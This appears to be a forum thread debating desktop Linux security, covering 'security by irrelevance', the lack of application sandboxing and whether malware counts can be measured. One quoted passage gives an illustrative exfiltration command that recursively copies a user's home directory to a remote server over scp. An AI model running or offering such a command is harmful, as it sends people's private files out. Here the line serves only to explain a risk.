23Sha-ger I don't particularly like the "privacyguides" community because they follow gimmicks and trends, not facts.
RoyalOughtness isn't representative of the broader PG community, they work on secureblue which is a security project first. They are a researched and knowledgable source.
Here's another source highlighting Linux's insecurities despite the lesser amount of malware:
Security by irrelevance does not work. Just because there are fewer users of your favorite operating system does not make it any safer.
Ask yourself this: Would you ditch Windows for ReactOS because it is a lot less popular and is less targeted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular?
Malware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing scp -r ~/ [email protected]:/data. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well.
23Sha-ger How many Linux users had malware in the recent decades? I will give the benefit of the smaller usage number.
Less users for Linux yes, but what about the ratio of compromised to uncompromised? I believe that would be more important, but that would be impossible to measure given silent attacks.
Much like CVE counting, I don’t think using news reports is a reliable or thorough mechanism for collecting data on this. :sweat_smile:
The number of silent attacks that are never even discovered let alone reported on likely outnumber attacks in the news by orders of magnitude… how would you even gather data on them?